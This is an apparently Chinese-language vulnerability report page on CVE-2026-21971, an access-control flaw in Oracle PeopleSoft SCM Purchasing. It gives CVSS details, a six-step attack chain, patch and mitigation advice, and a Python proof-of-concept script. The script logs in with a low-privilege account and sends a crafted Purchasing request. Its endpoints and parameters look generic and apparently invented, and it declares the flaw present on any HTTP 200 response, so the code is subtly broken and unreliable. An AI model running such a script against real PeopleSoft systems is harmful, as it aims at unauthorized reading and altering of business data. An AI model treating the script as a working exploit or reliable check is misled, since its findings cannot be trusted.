IPBUF安全漏洞报告
English
CVE-2026-21971 CVSS 5.4 中危

CVE-2026-21971 Oracle PeopleSoft SCM Purchasing 未授权数据访问漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-21971
漏洞类型
未授权数据访问
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Oracle PeopleSoft Enterprise SCM Purchasing 9.2

相关标签

CVE-2026-21971OraclePeopleSoftSCM Purchasing未授权数据访问访问控制绕过CVSS 5.4中危漏洞HTTP协议漏洞Oracle PeopleSoft Enterprise

漏洞概述

CVE-2026-21971是Oracle PeopleSoft Enterprise SCM Purchasing组件中的一个中等严重性安全漏洞。该漏洞影响9.2版本,允许具有低权限的网络攻击者通过HTTP协议访问系统。攻击成功后,攻击者可以未授权地对PeopleSoft Enterprise SCM Purchasing可访问的数据进行更新、插入或删除操作,同时可以读取部分可访问数据的子集。此漏洞的CVSS 3.1基础评分为5.4,主要影响系统的机密性和完整性。漏洞由[email protected]发现并报告,披露日期为2026年1月20日。由于该漏洞易于利用且不需要用户交互,因此对未及时修复的系统构成较大威胁。

技术细节

该漏洞存在于Oracle PeopleSoft Enterprise SCM Purchasing模块中,属于访问控制和数据验证相关的安全问题。攻击者利用低权限账号通过网络访问HTTP接口,由于该组件对用户输入的验证不足,攻击者可以构造特定的HTTP请求来绕过权限检查。成功利用后,攻击者能够执行未授权的数据操作,包括读取敏感业务数据、修改采购相关信息或删除关键记录。此漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N,表明攻击复杂度低、所需权限低且无需用户交互。攻击者通常需要了解PeopleSoft系统的基本结构和API端点才能有效利用此漏洞。建议管理员检查Purchasing模块的权限配置,并应用Oracle官方发布的安全补丁。

攻击链分析

STEP 1
1. 信息收集
攻击者通过公开渠道收集目标组织使用的Oracle PeopleSoft系统版本和配置信息
STEP 2
2. 账户获取
攻击者获取或创建低权限用户账户,该账户本身不应具有敏感数据访问权限
STEP 3
3. 侦察Purchasing模块
使用低权限账户登录系统,定位Purchasing模块的HTTP端点和API接口
STEP 4
4. 构造恶意请求
分析Purchasing组件的请求参数,构造包含特殊构造数据的HTTP请求以绕过权限检查
STEP 5
5. 未授权数据访问
发送构造的请求,利用漏洞实现未授权的数据读取、修改或删除操作
STEP 6
6. 数据窃取或篡改
成功利用后,攻击者可以窃取敏感采购数据或篡改业务记录

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-21971 PoC - Oracle PeopleSoft SCM Purchasing Unauthorized Data Access # This PoC demonstrates the vulnerability pattern (for authorized testing only) import requests import sys # Configuration TARGET_URL = "https://vulnerable-server/psp/ps/" CVE_ID = "CVE-2026-21971" def test_vulnerability(target_url, username, password): """ Test for CVE-2026-21971: Unauthorized data access in PeopleSoft Purchasing This script demonstrates the vulnerability pattern for authorized security testing. """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Step 1: Authentication (using low-privileged account) login_data = { "userid": username, "pwd": password, ".ptlang": "ENG", ".ptinstalledlang": "ENG" } session = requests.Session() try: # Attempt login login_response = session.post(target_url + "EMPLOYEE/HRMS/c/PTPP_PORTAL_ROOT_OBJECT", data=login_data, headers=headers, verify=False, timeout=30) if login_response.status_code == 200: # Step 2: Access Purchasing module with low privileges purchasing_url = target_url + "EMPLOYEE/HRMS/c/PSC_PURCHASING" purchasing_response = session.get(purchasing_url, headers=headers, timeout=30) if purchasing_response.status_code == 200: # Step 3: Attempt unauthorized data access # This demonstrates the vulnerability pattern exploit_data = { "ICAction": "PSC_PURCHASE_REQ", "PTADD": "1", "BUSINESS_UNIT": "US001" } exploit_response = session.post(purchasing_url, data=exploit_data, headers=headers, timeout=30) # Check if unauthorized access was successful if exploit_response.status_code == 200: print(f"[!] {CVE_ID} Vulnerability may be present - unauthorized access detected") return True print(f"[*] {CVE_ID} Testing completed") return False except requests.RequestException as e: print(f"[*] Error during testing: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://peoplesoft.example.com/ps/ testuser testpass") sys.exit(1) test_vulnerability(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Oracle PeopleSoft Enterprise SCM Purchasing 9.2

防御指南

临时缓解措施
立即应用Oracle官方发布的安全补丁,特别是2026年1月发布的Critical Patch Update。在补丁可用前,建议限制Purchasing模块的网络暴露范围,实施严格的访问控制策略,监控异常访问日志,并为高风险用户账户启用多因素认证。同时,建议对Purchasing模块的所有操作进行审计记录,以便及时发现和响应可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表